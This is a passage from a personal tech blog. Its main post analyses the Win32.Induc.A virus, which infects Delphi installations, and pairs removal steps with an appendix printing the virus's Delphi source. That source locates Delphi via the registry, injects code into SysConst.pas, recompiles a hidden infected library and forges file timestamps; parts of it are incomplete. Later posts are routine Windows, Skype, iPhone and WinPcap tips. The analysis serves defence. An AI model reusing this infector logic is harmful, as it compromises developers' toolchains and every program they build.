Wednesday, January 25, 2012

Win32.Induc.A

Win32.Induc.A

http://www.bitdefender.com/VIRUS-1000528-en--Win32-Induc-A.html

( Virus.Win32.Induc.a; W32/Induc virus; Win32.Induc; W32.Induc.A )

Spreading:
high

Damage:
low

Size:
varies

Discovered:
2009 Aug 19

SYMPTOMS:

Presence of a file named sysconst.bak in %Delphi_Installation_Folder%\Lib\ folder.

TECHNICAL DESCRIPTION:

     This threat spreads by infecting the systems running the Delphi development environment. When the virus code is executed it will first check if Delphi (version 4 through 7) is installed on the computer by trying to open the following registry key:
KKLM\SOFTWARE\Borland\Delphi\
If found, it will get the Delphi installation folder from the same registry key.
Next it will copy
%Delphi_Installation_Folder%\Source\Rtl\Sys\SysConst.pas to %Delphi_Installation_Folder%\Lib\SysConst.pas
and add its malicious code in the implementation section of this copy. This file will be then compiled, resulting an infected sysconst.dcu (Delphi compiled unit) but not before making a copy of the once clean sysconst.dcu file under sysconst.bak. Then the copy of sysconst.pas will be deleted.
     As sysconst is included in each software compiled in Delphi, every program compiled with an infected Delphi will have the virus code embedded.
     The malware does nothing if Delphi is not installed.
     This threat has no payload besides self-replication.

Removal instructions:

Please let BitDefender disinfect your files.
Overwrite %Delphi_Installation_Folder%\Lib\sysconst.dcu with  %Delphi_Installation_Folder%\Lib\sysconst.bak

#

DelphiWin32.Induc分析報告

Virus.Win32.Induc.a 感染型的分析:

一、檔資訊

文件大小:163840位元組

加殼類型:ASPack 2.12

編寫語言:Borland Delphi 6.0

病毒類型:感染型

二、病毒描述

該樣本為Delphi感染型病毒,通過感染Delphi庫文件中的SysConst.dcu檔,使用戶在使用被感染的庫檔編程後,生成的檔均被感染。

三、病毒行為

1.病毒在第N次處理初始化表時(Call StartExe)進行操作,即完成在程式載入正常Delphi檔前執行病毒代碼。(數位N根據被感染用戶的Delphi版本不同有所不同)。

2.迴圈檢測註冊表鍵值HKLMsoftwareBorlandDelphi X.0 判斷當前機器是否安裝Delphi。檢測版本(4.0 5.0 6.0 7.0)。如本機未安裝則直接跳出病毒代碼進行正常的初始化工作,不進行感染。

3.如安裝了Delphi則通過訪問註冊表得到用戶的Delphi安裝路徑。

4.根據用戶安裝路徑將原始檔案夾中的SysConst.pas和庫文件夾中的SysConst.dcu備份;

即%%SourceRtlSysSysConst.pas 與%%LibSysConst.dcu。

5.將Delphi源碼代碼寫入原始檔案SysConst.pas中

6.調用%%Bindcc32.exe 將感染後的源碼文件SysConst.pas 生成本地庫檔放入Lib替換SysConst.dcu文件。

7.將正常SysConst.pas備份恢復,刪除源碼中感染的檔。

8.更改庫文件中被替換後的SysConst.dcu檔時間,使其與其他檔一致。

四、病毒危害程度

該病毒實際上並不具有危害性,只是其更改了庫檔後使編譯生成的所有程式均帶有不正常代碼,而其代碼行為即為以上描述。

因為其將Delphi庫檔修改使其使用Delphi語言編譯後的檔均被感染,所以被感染檔大小不一,加殼情況也各異,本分析樣本只是從中隨機挑選,樣本大小與加殼類型都不具有代表性。

五、解決方案

這個病毒具有二次感染能力,也就是說原來你編譯出來的所有Delphi程式都可以再次感染你機器上的Delphi庫檔,要徹底清除該病毒需做到以下幾點:

1、不要運行任何Delphi編寫的程式。

2、使用殺軟掃描所有的Delphi編寫的可執行檔並清除病毒。(或直接刪除所有哦的Delphi編寫的可執行檔,包括從網上下載的)

3、將文件 %DelphiInstallPath%LibSysConst.dcu 刪掉,然後執行步驟4 或 步驟5和6。

4、將文件 %DelphiInstallPath%LibSysConst.bak 改名為 SysConst.dcu,結束。

5、調用 DCC32.exe 編譯出新的 SysConst.dcu ,編譯命令如下: %DelphiInstallPath%binDCC32.exe "%DelphiInstallPath% SourceRtlSysSysConst.pas"

6、將新編譯的SysConst.dcu(在%DelphiInstallPath% SourceRtlSys目錄下)檔複製到 %DelphiInstallPath%Lib 目錄,結束。

六、附錄(Delphi源碼)

uses windows;

var sc:array[1..24] of string=(

function x(s:string):string;

var i:integer;

begin

for i:=1 to length(s) do

if s[i]=#36 then

s[i]:=#39;

result:=s;

end;

procedure re(s,d,e:string);

var f1,f2 : textfile;

h : cardinal;

f : STARTUPINFO;

p : PROCESS_INFORMATION;

b : boolean;

t1,t2,t3 : FILETIME;

begin

CreateFile( pchar( d + $bak$ ), 0, 0, 0, 3, 0, 0);

if h<>DWORD(-1) then begin

CloseHandle(h);

exit;

end;

assignfile(f1,s);

reset(f1);

if ioresult<>0 then

exit;

assignfile(f2, d + $pas$);

rewrite(f2);

if ioresult<>0 then begin

closefile(f1);

exit;

end;

while not eof(f1) do begin

readln(f1,s);

writeln(f2,s);

if pos($implementation$,s) <>0 then

break;

end;

for h:= 1 to 1 do

writeln(f2,sc[h]);

for h:= 1 to 23 do

writeln(f2, $$$$+sc[h],$$$,$ );

writeln(f2, $$$$+sc[24]+$$$);$ );

for h:= 2 to 24 do

writeln(f2, x(sc[h]));

closefile(f1);

closefile(f2);

MoveFile(pchar(d+$dcu$),pchar(d+$bak$));

fillchar(f,sizeof(f),0);

f.cb:=sizeof(f);

f.dwFlags:=STARTF_USESHOWWINDOW;

f.wShowWindow:=SW_HIDE;

b:=CreateProcess(nil, pchar(e+$"$+d+$pas"$), 0, 0, false, 0, 0, 0, f, p);

if b then

WaitForSingleObject(p.hProcess,INFINITE);

MoveFile(pchar(d+$bak$), pchar(d+$dcu$));

DeleteFile(pchar(d+$pas$));

h:=CreateFile(pchar(d+$bak$),0,0,0,3, 0,0);

if h=DWORD(-1) then

exit;

GetFileTime(h,@t1,@t2,@t3);

CloseHandle(h);

h:= CreateFile(pchar(d+$dcu$),256,0,0,3,0,0);

if h=DWORD(-1) then

exit;

SetFileTime(h, @t1,@t2,@t3);

CloseHandle(h);

end;

procedure st;

var k : HKEY;

c : array [1..255] of char;

i : cardinal;

r : string;

v : char;

begin

for v:=$ to $ do

if RegOpenKeyEx(HKEY_LOCAL_MACHINE, pchar($SoftwareBorlandDelphi$ + v+ $.0$ ), 0, KEY_READ, k) = 0 then begin

i:=255;

if RegQueryValueEx(k,$RootDir$,nil,@i,@c,@i)=0 then begin

r:=$$;

i:= 1;

while c[i] <> #0 do begin

r:=r+c[i];

inc(i);

end;

re( r + $sourcertlsysSysConst$ + $.pas$, r + $libsysconst.$, $"$+r+$bindcc32.exe"$);

end;

RegCloseKey(k);

end;

end;

begin

st;

end.

 

#

http://www.gsa-online.de/products-delphi_induc_virus_remover.php

http://www.gsa-online.de/download/induc_cleaner_setup.exe

http://www.microsoft.com/security/portal/Threat/Encyclopedia/Entry.aspx?name=Virus%3AWin32%2FInduc.A

#

Saturday, January 14, 2012

在 Windows 7 下安裝 Visual C++ 6的方法

在 Windows 7 下安裝 Visual C++ 6的方法

關鍵字: Visual C++ 6, vc6, win7, 安裝, 編譯

在安裝 vc6 選擇安裝項目時, 不要選擇 [TOOLS] 裡面的 [OLE/COM OBJECT VIEWER
工具]就可以順利安裝了

在開啟 vc6 前先以右鍵選擇 [以系統管理員身分執行(A)]如此就可以執行編譯的程式

參考:

Windows 7 & Vista下安装VC++,VS6.0,VC6.0最新突破http://reseth.blogbus.com/logs/38487767.html

Windows 7完美安装VC6和Delphi7
http://www.gogofly.com/blog/article/Note/68.html

Tuesday, September 06, 2011

sqmdata00.sqm

當顯示所有的內容時,不知各位是否有發現到,在C槽底下最近曾出現sqmdata00.sqmsqmdata01.sqmsqmdata02.sqm…..等的相關檔案,窄看之下,以為不會吧!走了一個autorun又來了一個sqm,上網查了一下,原來是自已太敏感了,.sqm主要是由MSN新版所產生的檔案,不是病毒但感覺還蠻礙眼的,現在就來看一下怎麼防止xxxx.sqm不斷的產生。


Step1
開啟MSN功能表,選擇工具 / 選項,進入選項畫面後,選擇左選單中的一般,並將允許Microsoft收集相關XXX的選項取消。
clip_image001


Step2
接下來再把C槽中所產生的sqmdata00.sqmsqmdata01.sqmsqmdata02.sqm直接刪除即可。

Saturday, August 20, 2011

建立一張簡易的無人值守 Windows XP 安裝光碟

或許你看過一些 Windows XP,很神奇的,他能夠免除掉安裝中所有的問答項目,
直接安裝到完畢為止,這並不是"高手"去改了Windows 的安裝程式,
而是採用了所謂的 Unattended 安裝方式,
當然了,使用別人所製作的這種自動安裝光碟很方便,
但是畢竟裡面都是制式化的應答,無法個性化自己所需,
如果我們能夠自己做到屬於自己的 Unattended Windows XP,那不是很好嗎...?
其實關於這部份的製作相當簡單,校長相信你在看完本文後,也一定能夠做出屬於自己的自動安裝光碟
所謂的自動安裝,只不過是事先將安裝過程的應答以檔案的方式存進光碟,
待安裝之際,便自動提取該檔中的應答項目,完成 Unattended 安裝,
而這個檔案,置放的就是在安裝光碟中的 i386 目錄下, 檔名為 winnt.sif
當然了,或許你會說,這樣有一點麻煩,能不能在安裝之際,用軟碟的方式導入該檔,
答案是可以的....,但相對的你要付出的代價就是使用軟碟開機安裝
而這軟碟不是 98 開機片,而是安裝 XP 的專用開機片,共六片.
相較於慢慢使用安裝軟碟開機安裝,不如將 winnt.sif 寫入光碟中,
帶安裝完畢後再來做細部調整
下載後我們將他用 WinRAR 解壓縮,裡面有兩個檔案是我們這次所需要的工具
一個是 setupmgr.exe 這東西是安裝管理員, 另一個是 ref.chm 是說明檔
其實,說明檔有沒有並不重要,當然了如果你有興趣,你可以更進一步的參考 ref.chm 中的各項說明
接著,我們將運行 setupmgr.exe 創建 Unattended 應答檔
接著按照步驟把一些資料填入最後
將會生成一個檔名為 unattended.txt 的文字檔
我們再將它改檔名 winnt.sif 存放到 Windows 安裝光碟中的 i386 目錄內即可
工具
http://download.microsoft.com/download/f/b...oyTools-CHT.cab

Saturday, July 02, 2011

修正skype當機

修正skype當機:
Type "%appdata%\skype" and click OK. Locate and delete the file shared.xml.

iphone用4.1固件降級4.2.1現3194錯誤

iphone用4.1固件降級4.2.1現3194錯誤:

在c:\windows\system32\drivers\etc,找到HOSTS文件,用記事本打開;在最後一行,
新加 74.208.10.249 gs.apple.com。重新打開iTUNES 和 iPhone。

Wednesday, June 15, 2011

To fix Duke.Nukem.Forever slow issue:

To fix Duke.Nukem.Forever slow issue:

put following system.ini in System folder

http://dl.dropbox.com/u/390922/Duke.Nukem.Forever/system.ini

or:

Sunday, December 12, 2010

【轉】 用 vc6.0 創建一個使用 wpcap.dll 的應用程式,遇到的問題

【轉】 用 vc6.0 創建一個使用 wpcap.dll 的應用程式,遇到的問題

轉載請注明出處 http://hi.baidu.com/handt03

===========================================

首先拿官方的示例來編譯,遇到的問題有:

1.pcap-stdinc.h(76) : error C2054: expected '(' to follow '_W64

error C2085: 'uintptr_t' : not in formal parameter list

error C2628: '_W64' followed by 'int' is illegal (did you forget a ';'?)

解決辦法:

在pcap.h 檔頭增加如下定義:

#define _W64
#include <pcap/pcap.h>

也就是在#include <pcap/pcap.h>定義前面加上#define _W64

2.鏈結的時候出現問題:

LINK : fatal error LNK1104: cannot open file "Iphlpapi.lib "

解決:在自己的電腦上搜索 iphlpapi.lib(這個是iphelp的庫,在windows的platform SDK中) 文件,然後 copy 到 vc 中設置的 library file 選項包含的檔夾中。比如 \vc98\lib 下。

參考:

Winpcap _W64 Er   : http://blog.csdn.net/linkyang/archive/2009/08/07/4423500.aspx

關於winpcap 的問題 http://topic.csdn.net/u/20070817/15/6c01ae14-16c6-480c-a633-38b36a6b2f07.html